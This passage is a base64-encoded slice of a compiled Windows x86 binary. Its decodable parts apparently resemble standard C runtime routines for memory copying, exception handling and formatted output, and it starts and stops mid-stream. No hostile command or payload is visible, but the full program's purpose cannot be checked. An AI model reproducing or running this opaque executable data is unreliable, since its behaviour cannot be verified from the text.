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sLU1G7MGAKEItMJAyJSwiJQwSJawxVUVBYWV1ZW8IEAP/Qw2oMaKA0ChDoTef//4Nl5ACLRQj/MOg3MQAAWYNl/ACLTQzo1goAAIvwiXXkx0X8/v///+gNAAAAi8boYOf//8IMAIt15ItFEP8w6BYxAABZw4v/VYvsg+wMi0UIjU3/iUX4iUX0jUX4UP91DI1F9FDoi////4vlXcOL/1WL7IHshAQAAKEYYAoQM8WJRfyDfRgAi0UQU4tdFImFoPv//3UY6PzeAADHABYAAADoutsAAIPI/+kRAQAAhdt0BIXAdOBWV/91HI2NfPv//+hrCQAAi00Ijb2Q+///M8Az0qurq6uLwYu9oPv//4PgAomFjPv//wvCib2Q+///iZ2U+///iZWY+///dQqIlZz7//+F/3UHxoWc+///Af91II2FkPv//4mFoPv//42FgPv//1D/dRiNhaD7////dQxRUI2NpPv//+iJCAAAjY2k+///6HMMAACL8IX/dEuLRQgzyYPgAQvBdByF23UEhfZ1b4uFmPv//zvDdSqF9ngpO/N2Jetbi4WM+///C8F0TYXbdBWF9nkEiA/rDYuFmPv//zvDdE2IDAeNjeT7///oDwkAAIC9iPv//wB0DYuNfPv//4OhUAMAAP1fi8Zei038M81b6Inn//+L5V3Dhdt1BYPO/+vDi4WY+///O8N1tmr+XohMH//rsIv/VYvsgeyEBAAAoRhgChAzxYlF/IN9GACLRRBTi10UiYWg+///dRjogN0AAMcAFgAAAOg+2gAAg8j/6RcBAACF23QEhcB04FZX/3UcjY18+///6O8HAACLTQiNvZD7//8zwDPSq6urq4vBi72g+///g+ACiYWM+///C8KJvZD7//+JnZT7//+JlZj7//91CoiVnPv//4X/dQfGhZz7//8B/3UgjYWQ+///iYWg+///jYWA+///UP91GI2FoPv///91DFFQjY2k+///6EIHAACNjaT7///oPw0AAIvwhf90UYtFCIPgAYPIAHQchdt1BIX2dXaLhZj7//87w3UuhfZ4MDvzdizrYouFjPv//4PIAHRThdt0G4X2eQczwGaJB+sQi4WY+///O8N0UDPJZokMR42N5Pv//+iNBwAAgL2I+///AHQNi418+///g6FQAwAA/V+Lxl6LTfwzzVvoB+b//4vlXcOF23UFg8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